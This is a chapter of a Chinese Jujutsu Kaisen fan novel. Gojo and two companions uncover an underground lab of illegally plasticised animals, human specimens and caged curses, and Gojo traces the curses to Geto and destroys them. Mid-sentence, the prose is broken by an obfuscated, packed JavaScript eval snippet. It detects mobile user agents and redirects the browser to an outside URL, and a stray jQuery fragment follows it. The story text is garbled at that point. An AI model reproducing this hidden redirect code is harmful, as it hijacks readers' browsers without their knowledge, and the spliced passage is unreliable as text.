26. 第 26 章 罪恶深渊
作品:《[咒回]被分尸后成为背后灵》 不知往下走了多久,楼梯终于到了尽头。
眼前是一条长长的通道,通道两侧的墙壁上没有任何照明设备,只能依靠松本手中的手电筒勉强看清周围的环境。
通道地面湿漉漉的,像是刚被水浸泡过,空气中弥漫着浓重的塑化剂味、血腥味和咒力的腐朽味,三种味道交织在一起,形成形成一股粘稠的、近乎固体的恶臭,每吸一口都像有冰冷的油脂糊在气管壁上,让人胃里翻江倒海。
“这里就是地下基地了吗?”松本压低声音问道,手电筒的光线在通道里四处扫射,眼神里满是警惕。
五条悟没有回答,只是迈开脚步,沿着通道往前走。
月和松本连忙跟上,不敢有丝毫松懈。通道尽头是一扇厚重的铁门,门上的电子锁滴滴发出声响。
五条悟抬手,指尖凝聚起一丝咒力,轻轻一弹,电子锁便瞬间被破坏,铁门发出“吱呀”一声令人牙酸的声响,缓缓被推开。
门后是一个巨大的空间,手电筒的光线在黑暗中只能照亮一小片区域,根本望不到尽头。
三人走进空间内,松本缓缓转动手电筒,光柱像一把颤抖的刀,划开浓稠的黑暗。
眼前的景象让他瞬间倒吸一口凉气,那口气吸到一半就被恶臭堵住,化作一阵剧烈的呛咳。
只见数十间房间整齐有序地排列在空间内,每扇房间的门上都挂着一块褪色的牌子,上面写着“立入禁止”四个大字,字迹边缘有深色污渍渗开,透着一股生人勿近的、警告般的死寂。
空气中的咒力浓度已经达到了令人发指的程度,几乎要凝结成实质,每呼吸一口,都像是在吞咽着冰冷的毒药,让人浑身发冷。
远处传来的咒灵嘶吼声比之前更加清晰,时而尖锐,时而低沉,那声音并非来自单一方向,而是从四面八方墙壁的缝隙中渗出,编织成一张无形的、令人心悸的网。
松本的手电光控制不住地微微晃动,他的声音干涩:“这里的咒力……也太浓了吧。”
浓到让他这个咒术界的门外汉都能轻易发觉。
月的心脏紧紧揪着,她能清晰地感觉到,每一间房间里都藏着不同的气息,有的是浓郁的血腥味,仿佛刚宰杀过的屠坊;
有的是刺鼻的塑化剂味,像走进了一个巨大的、未干的树脂棺材;
还有的是纯粹的、狂暴的咒灵气息。
这些气息交织在一起,勾勒出一幅血腥而肮脏的画面,让她不由得想起了自己过往的经历,骨髓深处都泛起一阵寒意。
“一间间查。”五条悟的声音打破了两人的震惊,他的语气依旧平淡,只是周身的气息变得格外凝重,白色绷带下的六眼显然已经看穿了房间里的一切,“小心点,里面的东西,可能会超出你们的想象。”
说着,他率先走向离门口最近的一间房间,抬手推开了房门。
房门打开的瞬间,一股更加浓烈的血腥味扑面而来,夹杂着动物特有的腥膻和化学制剂甜腻到令人作呕的余味。
松本举着手电筒往里照去,光斑落在第一具标本上时,他的手臂肌肉猛地绷紧了。
房间里杂乱地堆放着数十具动物塑化标本,体型大小不一,仔细看去,竟然全是日本的珍稀保护动物。
本该在山林间穿梭的鬣狗褪去了毛发,肌肉与骨骼的纹理在微光下清晰毕现,却只剩一片死寂的冰冷。
它四肢着地的姿态扭曲着,脖颈以不可能的角度向后拧,空洞的眼眶直勾勾地对着门口,仿佛在生命最后瞬间想看清猎杀者的模样。
朱鹮的双翼被强行折断,洁白的羽毛沾满了黑褐色的污渍,细长的喙部微微张开,里面塞着一团看不出原材料的填充物。
大鲵的躯体被生硬地展平,暗褐色的皮肤失去了水润光泽,腹部还残留着未干涸的血迹与塑化剂的痕迹。
松本的靴底不小心蹭到地面一滩半凝固的黄色粘液,发出“嗤”的轻微拉扯声,那声音让他胃部一阵痉挛。
这些标本随意地堆放在地上,有的被摔得残缺不全,有的则还处于未完成的状态,塑化剂顺着标本的边缘滴落,在地面上凝结成淡黄色的硬块。
房间的角落里,堆放着大量的工具和试剂瓶,瓶身上没有任何标签,里面装着各种颜色的液体,散发着刺鼻的气味。
松本的嘴唇翕动了几下,像是想说什么愤慨之词,但最终只化为一声从齿缝间挤出的、沉重的喘息。
他几乎是凭着肌肉记忆举起了微型摄像机,但取景框里的画面在剧烈颤抖。
月没有进去。她站在门边,手指死死抠住门框。
那些动物标本僵死的姿态,与记忆深处某些被深藏的痛苦画面诡异地重叠。
她感到一阵眩晕,仿佛房间里流失的不是动物的生命,而是某种可供呼吸的空气。
“没有任何合法审批文件,全是非法猎杀来的。”
五条悟的声音从房间里传来,他蹲下身,指尖并未触碰,只是隔空悬在鬣狗标本扭曲的脊柱上方,仔细查看了一下。
语气里带着几分冷意道:“这些标本应该是要卖给那些见不得光的收藏家,或者用于一些非法的科研实验。”
松本终于按下了快门,连续的闪光像是他无声的怒吼。他不再说话,只是拍摄,用镜头作为他此刻唯一的语言。
闪光灯亮起的瞬间,那些标本惨白的轮廓在黑暗中骤然浮现又消失,像一次次无声的曝光。
拍完照后,三人退出了这间房间,又走向了隔壁的房间。
推开房门的瞬间,一股难以形容的复合气味如同有生命的实体,猛地撞了出来。
那是塑化剂尖锐的甜腻、血肉腐败的微酸,以及一种更深沉的、属于“人”的、但已彻底异化的冰冷味道。
月被呛得后退半步,鼻腔里泛起浓重的铁锈味。
松本的手电光迟疑地、几乎是抗拒地探入房间,然后彻底凝固了。
光柱所及,先是无数玻璃容器模糊的、扭曲的反光,然后,才是容器里的“内容”。
房间里整齐地排列着数百个玻璃容器,每个容器里都浸泡着一具人体塑化标本。
这些标本没有任何标签,看不清身份,有的是完整的躯体,有的则只是残缺的肢体。
没有头颅的,脖颈处的断口肌肉外翻,血管和气管的截面像枯萎的根系;
没有四肢、只剩下躯干的,腹部的Y形缝合线粗糙得像鞋匠的手艺;
还有一些标本看起来像是刚出生没多久的婴儿,小小的身体蜷缩在容器里。
其中一具的脊柱弯折成一个怪异的弧形,后脑勺几乎贴着脚后跟。
那绝非自然的胎姿,而是被强行塞入容器的痕迹。
这些标本的皮肤呈现出一种不正常的蜡黄色,肌肉与骨骼的纹理清晰可见,却没有丝毫生气。
手电光移动时,某些标本的眼睑缝隙或微张的口腔深处,似乎有微小的气泡缓缓升腾,破裂在液面之下,发出只有绝对寂静时才能被想象力捕捉的“噗”声。
松本举着相机的手僵在半空。
他的理智要求他继续记录,但他的本能却在尖叫着逃离。
他的视线无法从那个扭曲的婴儿标本上移开,恍惚间,他仿佛看见那蜷缩的手指,极其轻微地抽搐了一下。
他知道这是光影的错觉,是精神压力下的幻视,但那股寒意却真实地攥住了他的心脏。
他张了张嘴,没能发出任何有意义的声音,只有相机从他汗湿的指尖滑落,又被救险般地捞住时,金属与塑料磕碰的“咔哒”一响。
月的血液似乎在这一刻凉透了。
她不是第一次接触死亡,但眼前这种被系统化、容器化、彻底物化的“人体”,触动了比死亡更深层的恐怖。
她仿佛能听到这些玻璃罐中传来无声的、成千上万的呐喊,它们汇聚成一种低频的嗡鸣,直接敲打在她的颅骨内侧。
她不得不移开视线,却看到墙壁上贴满的人体解剖图,那些手绘的线条旁,用圆珠笔潦草地标注着尺寸、重量,和一个个像是货品编号的数字。
“来源不明,没有任何捐赠记录,也没有任何身份证明。”
五条悟的声音在死寂中响起。
他没有看那些标本,而是看着容器边缘一些褪色的、用铅笔写就的记号,语气平淡,却暗含杀意:“失踪人口,无人认领的尸体,黑市流通的‘材料’。在这里,他们只是标好价格的‘商品’。”
松本剧烈地喘息了几下,像是试图把堵在胸口的冰块咳出来。
他不再试图去构思什么正义的言辞,只是用发抖的手指,重新端稳相机,将对焦框对准那些容器,对准墙上的图表,对准五条悟所指的铅笔记号。
每一次快门声,都像是在这间巨大的停尸房里,钉下一枚微不足道、但必须钉下的铆钉。
月默默地退出了房间,背靠着门外冰冷的墙壁,闭上了眼睛。
但眼皮隔绝不了画面,那些扭曲的形态、那些编号、那些气泡,在她黑暗的视野里反复灼烧。
她感到一种深重的无力,以及一种同样深重的、必须做点什么的焦灼。
五条悟跟着走了出来,看到她苍白的脸色和微微颤抖的身体,周身那股冰冷的压迫感几不可察地收敛了一丝。
他没有说话,只是将一只手随意地插在口袋里,侧身站着,形成了一个微妙地将她与房间内景象隔开的角度,给她留出了缓冲的空间。
过了好一会儿,月才靠着墙壁传导的凉意,勉强压下了翻涌的情绪。
她抬起头,看向五条悟,眼神里满是复杂的情绪。
五条悟避开了她的目光,转而看向最深处的一间房间,语气凝重地说道:“最核心的秘密,应该在那间房里。里面的咒力波动最强烈,而且……有让我很在意的残秽。”
三人朝着最深处的房间走去。随着不断靠近,空气中的咒力浓度高到了产生实质的阻力,如同在粘稠的水中前行。
远处传来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976473|193516||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
咒灵嘶吼声也越来越清晰,那声音里充满了痛苦的狂躁和被囚禁的怨毒,不再是背景音,而成了铺天盖地压过来的声浪。
走到房门前,五条悟停下脚步,他没有立刻推门,而是侧耳倾听了一瞬,白色绷带下的眉头几不可察地蹙了一下,然后才抬手推开了房门。
房门打开的瞬间,一股狂暴得如有实质的咒力洪流瞬间喷涌而出,夹杂着无数尖锐得能刺穿耳膜的嘶吼声,松本被这股气息冲得踉跄后退,差点摔倒。
手电筒的光束在剧烈摇晃中,勉强照出了房间内的景象。
房间里没有任何标本,只有数十个特殊的咒术笼子整齐地排列在地面上。
这些笼子仅仅用木头组合而成,上面刻着复杂而诡异的咒术纹路,纹路在浓郁的咒力环境中幽幽流动着暗沉的光泽,像是活物的血管。
每个笼子里都关押着一只咒灵,咒灵的等级各不相同,从最低级的四级咒灵,到实力强悍的一级咒灵,密密麻麻,足足有近千只。
低级的咒灵在笼子里疯狂冲撞,发出尖锐的嘶吼声,用身体、用利爪、用牙齿啃咬着木栏,每一次碰撞都让上面的咒纹明灭不定,溅起令人牙酸的火花。
而那些一级咒灵则显得格外平静,它们蜷缩在笼子的角落,静静打量着来人。
无数只形态各异的眼睛,在黑暗中齐刷刷地转向门口的三人,目光里浸满了纯粹的、捕食者的恶意和戏谑。
整个房间里,咒力的嘶吼与实质的恶意几乎形成了物理上的压迫,空气沉重得让人难以呼吸。
“这……这是……”松本的声音被淹没在咒灵的噪音里,他脸色惨白,本能地举起相机,又徒劳地放下。
镜头里只有空荡荡的笼子和扭曲的空气,咒灵没办法被镜头记录下来。
“它们……都是被圈养在这里的?”
五条悟对松本的问题恍若未闻。
他的目光死死地盯着笼子上的咒力残秽,周身的气息瞬间变得格外凝重,原本淡漠的眼神里闪过一丝震惊和冰冷,指尖不自觉地攥紧,指节泛白。
他缓缓走上前,拉开覆眼的绷带,仔细查看了一下笼子,脸色越来越沉,语气里带着一丝难以置信的凝重:“......杰。”
“杰?”松本愣了一下,显然没听过这个名字,疑惑地问道,“他是谁?这些咒灵,都是他收集来的吗?”
五条悟没有说话,只是伸出手,指尖轻轻触碰了一下笼子上刻画的咒术纹路,随即又猛地收回手。
他的眼神里满是冰冷的杀意和怒气,语气沉重地说道:“这是咒术界的事情,你就不用插手了。”
“啧。”松本挑挑眉:“行吧,反正诅咒师也是要咒术界来处理的,你能解决就成。”
听到五条悟的话,月的心里猛地一沉,夏油杰吗......
“这些咒灵留着太危险了,必须尽快消灭。”
五条悟的声音斩断了所有杂念,恢复了绝对的冷静和决断。
他缓缓抬起手,苍蓝色的咒力如同呼吸般,从指尖自然流淌而出,散发出纯粹而恐怖的威压。
“我会小心避开笼子,不破坏证据。”
说着,他的指尖轻轻一弹。
“苍。”
没有惊天动地的声势,只有一声轻微的空间坍缩般的嗡鸣。
无数道细若发丝却凝练到极致的蓝色光束,以他为中心,精准地、无声地射向每一个笼子,如同死神精确点名的目光。
低级咒灵连最后的嘶吼都未能发出,便在蓝光触及的瞬间如烟尘般悄然湮灭。
一级咒灵爆发出狂暴的抵抗,咒力黑焰怒张,却在那看似纤细的蓝光面前脆弱如纸,身体迅速崩解、消散。
整个过程寂静而高效,五条悟的操控精准到了极致。
狂暴的咒力被约束在完美的轨迹中,没有一丝能量外溢,没有碰触任何一个笼子或墙壁,仿佛那些咒灵只是被凭空擦除了。
随着最后一只咒灵消散,房间里的狂暴咒力瞬间被抽空,只剩下虚无的寂静,以及笼子上依旧幽幽发光的咒纹,证明着刚才的一切并非幻觉。
松本长长地、颤抖着吐出一口气,这才发现自己一直屏着呼吸。
他看向五条悟收手而立的背影,那背影在空旷的房间里显得既高大,又莫名透着一丝孤绝。
他摇摇头,低声自语,不知是感慨还是后怕:“这就是咒术界最强吗?和我们这些普通人确实不一样。”
月静静地站在门口,看着那些空荡却依然不祥的笼子,心里没有丝毫轻松。
夏油杰的阴影如同无形的蛛网,笼罩在刚刚揭露的罪恶之上,让一切都变得更加晦暗和危险。
高桥诚,在这张网里,是蜘蛛,还是飞虫?
五条悟缓缓收回手,周身的咒力渐渐收敛,只是脸色依旧格外凝重。
他看向房间里的笼子,眼神里满是冰冷,显然,夏油杰的踪迹,让他意识到了事情的严重性远远超出了想象。

